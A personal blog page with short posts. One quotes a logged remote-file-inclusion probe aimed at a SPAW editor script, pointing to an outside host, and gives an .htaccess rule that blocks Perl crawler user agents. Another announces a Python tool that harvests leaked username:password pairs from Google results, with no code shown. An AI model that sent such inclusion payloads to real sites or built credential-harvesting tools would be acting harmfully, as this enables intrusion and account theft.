13337

I see Perl bots crawling my website hundreds of times a month because I have posted some vulnerabilities here that show up in Google, thus making the bot think my site is vulnerable. This isn't a big deal as far as my site being defaced - I don't run the things they look for. However, it is quite an annoyance to see hundreds and hundreds of requests that look like this:

/modules/cjaycontent/admin/editor2/spaw_control.class.php?spaw_root=http://xxx?
	Http Code: 301 	Date: Sep 19 18:50:37 	Http Version: HTTP/1.1 	Size in Bytes: -
	Referer: -
	Agent: libwww-perl/5.79

So I added this to my .htaccess file, and poof. They get a 403.

<IfModule>
RewriteCond %{HTTP_USER_AGENT} ^lwp- [OR]
RewriteCond %{HTTP_USER_AGENT} ^libwww-
RewriteRule ^.* - [F,L]
</IfModule>

You can add any User-Agents you want to with this, I just chose some common ones. This needs to go at the top of the .htaccess file if you have something like WordPress permalink redirects set up in your .htaccess.

I just added a couple things for SEO (meta tags, redirection to www, some other things as well). If you find any bugs, please feel free to e-mail me or leave me a comment. If you're interested in SEO for WordPress, I recommend this post. I don't want to become another blog blogging about blogging, so I'm not going to talk about SEO much, but I thought I would share something I found with you all.

This is something I've been playing with, and it works fairly well for finding people who link to you. Don't bother telling me that someone else has already figured this out, I know it's not original, it's just something to look at.

[yoursite.com *] -site:yoursite.com

Also, before anyone says "link:yoursite.com", this returns very limited results compared to the above. Enjoy.

This is something quick I whipped up in Python to search Google for username:password pairs for whatever pattern you specify and spit them into a textfile. If you can't figure out what this is useful for, it's not for you.

Wordlist leecher

I'm trying out a new theme for the site. It's a lot simpler, no images, etc. Let me know what you think in the comments